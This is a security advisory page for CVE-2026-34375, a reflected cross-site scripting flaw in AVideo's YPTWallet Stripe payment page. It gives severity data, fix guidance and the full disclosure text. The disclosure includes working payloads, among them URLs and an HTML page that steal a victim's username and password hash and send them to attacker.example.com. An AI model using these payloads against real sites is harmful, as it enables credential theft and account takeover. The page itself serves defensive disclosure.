CVE-2026-34375: Wwbn/avideo Cross-Site Scripting Vulnerability

HIGH

Advisory Identifier: GHSA-pm37-62g7-p768

CVSS 8.2

Published 2026-03-30

Advisory Summary

CVE-2026-34375 is a HIGH (CVSS 8.2) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo vulnerable to reflected xss via unsanitized plugin parameter in yptwallet stripe payment page. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34375 at a Glance

CVE Identifier CVE-2026-34375

GHSA Identifier GHSA-pm37-62g7-p768

Severity HIGH

CVSS v3.1 Base Score 8.2

CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected Product Wwbn/avideo

Package Ecosystem Packagist

Published Date 2026-03-30

Last Updated 2026-03-30

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction Required (UI:R)

Scope Changed (S:C)

Confidentiality High (C:H)

Integrity Low (I:L)

Availability None (A:N)

How to Fix CVE-2026-34375

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release

Upgrade wwbn/avideo to Latest secure release

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34375, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST['plugin']` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework's input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user's username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. ## Details The Stripe confirmation page renders the `plugin` parameter directly into a `<script>` block: ```php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 "plugin": "<?php echo @$_REQUEST['plugin']; ?>", ``` This appears inside a `$.ajax()` data object within a `<script>` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed. The `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified. Immediately adjacent to the injection point, the script also exposes user credentials: ```php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118 "user": "<?php echo User::getUserName() ?>", "pass": "<?php echo User::getUserPass(); ?>", ``` No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted. ## Proof of Concept The XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template: ``` https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/* ``` The injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block: ```javascript "plugin": ""}})});alert(document.domain);console.log({/*", ``` Credential exfiltration payload: ``` https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:" ``` Simplified credential theft using the same-page credential leak: ```html  <html> <body> <script> // The confirmButton.php page outputs user/pass in the script block. // XSS lets us read it directly. var payload = encodeURIComponent( '",x:(function(){' + 'var s=document.querySelector("script").textContent;' + 'var u=s.match(/"user":"([^"]+)"/)[1];' + 'var p=s.match(/"pass":"([^"]+)"/)[1];' + 'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' + '})(),y:"' ); window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload; </script> </body> </html> ``` Reproduction steps: 1. Navigate to the basic XSS URL above (substitute your target instance). 2. Observe the JavaScript alert box confirming code execution. 3. View the page source to confirm that `User::getUserName()` and `User::getUserPass()` are present in the same script block. 4. Use the credential exfiltration payload to demonstrate data theft. ## Impact An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page: - **Immediate credential theft**: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests. - **Session hijacking**: Steal session cookies and impersonate the victim. - **Payment manipulation**: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions. - **Account takeover**: Combine the stolen password hash with the username for offline cracking or direct replay. The lack of CSP headers means there are no browser-side mitigations against the injected scripts. - **CWE**: CWE-79 (Cross-Site Scripting - Reflected) - **Severity**: High (CVSS 8.1) ## Recommended Fix Apply `htmlspecialchars()` to the `plugin` parameter at `plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116`: ```php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 // Before: "plugin": "<?php echo @$_REQUEST['plugin']; ?>", // After: "plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>", ``` --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-34375 Affected Wwbn/avideo Versions

1 component(s)

Product / Package	Ecosystem	Affected Versions	Fixed Version
wwbn/avideo	Packagist	≤ 26.0

References

GitHub Advisory / Wiki ADVISORY

https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768

NVD — CVE-2026-34375 NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-34375

Security Fix Commit FIX COMMIT

https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2

Wwbn/avideo Source Repository REPOSITORY

https://github.com/WWBN/AVideo

Frequently Asked Questions

What is CVE-2026-34375?

CVE-2026-34375 is a security vulnerability in Wwbn/avideo involving AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Which Wwbn/avideo versions are affected?

Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.

What version fixes CVE-2026-34375?

Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.

Is wwbn/avideo affected?

Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.

What is the CVSS score of CVE-2026-34375?

CVE-2026-34375 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N.

What CWE is associated with CVE-2026-34375?

CVE-2026-34375 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).

How can I check Packagist dependencies for CVE-2026-34375?

Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pm37-62g7-p768",
  "modified" : "2026-03-30T18:08:52Z",
  "published" : "2026-03-30T18:08:52Z",
  "aliases" : [ "CVE-2026-34375" ],
  "summary" : "AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page",
  "details" : "## Summary\n\nThe YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST['plugin']` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework's input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.\n\nThe same script block also outputs the current user's username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials.\n\n## Details\n\nThe Stripe confirmation page renders the `plugin` parameter directly into a `<script>` block:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n\"plugin\": \"<?php echo @$_REQUEST['plugin']; ?>\",\n```\n\nThis appears inside a `$.ajax()` data object within a `<script>` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.\n\nThe `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified.\n\nImmediately adjacent to the injection point, the script also exposes user credentials:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118\n\"user\": \"<?php echo User::getUserName() ?>\",\n\"pass\": \"<?php echo User::getUserPass(); ?>\",\n```\n\nNo Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.\n\n## Proof of Concept\n\nThe XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*\n```\n\nThe injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block:\n\n```javascript\n\"plugin\": \"\"}})});alert(document.domain);console.log({/*\",\n```\n\nCredential exfiltration payload:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?\"(.*?)\"/)[1]),y:\"\n```\n\nSimplified credential theft using the same-page credential leak:\n\n```html\n<!-- Host this on attacker.example.com and send the link to a victim -->\n<html>\n<body>\n<script>\n  // The confirmButton.php page outputs user/pass in the script block.\n  // XSS lets us read it directly.\n  var payload = encodeURIComponent(\n    '\",x:(function(){' +\n    'var s=document.querySelector(\"script\").textContent;' +\n    'var u=s.match(/\"user\":\"([^\"]+)\"/)[1];' +\n    'var p=s.match(/\"pass\":\"([^\"]+)\"/)[1];' +\n    'new Image().src=\"https://attacker.example.com/log?u=\"+u+\"&p=\"+p;' +\n    '})(),y:\"'\n  );\n  window.location = \"https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\" + payload;\n</script>\n</body>\n</html>\n```\n\nReproduction steps:\n\n1. Navigate to the basic XSS URL above (substitute your target instance).\n2. Observe the JavaScript alert box confirming code execution.\n3. View the page source to confirm that `User::getUserName()` and `User::getUserPass()` are present in the same script block.\n4. Use the credential exfiltration payload to demonstrate data theft.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:\n\n- **Immediate credential theft**: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.\n- **Session hijacking**: Steal session cookies and impersonate the victim.\n- **Payment manipulation**: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.\n- **Account takeover**: Combine the stolen password hash with the username for offline cracking or direct replay.\n\nThe lack of CSP headers means there are no browser-side mitigations against the injected scripts.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - Reflected)\n- **Severity**: High (CVSS 8.1)\n\n## Recommended Fix\n\nApply `htmlspecialchars()` to the `plugin` parameter at `plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116`:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n// Before:\n\"plugin\": \"<?php echo @$_REQUEST['plugin']; ?>\",\n\n// After:\n\"plugin\": \"<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>\",\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34375"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T18:08:52Z",
    "nvd_published_at" : "2026-03-27T19:16:43Z"
  }
}

CVSS V3

8.2 HIGH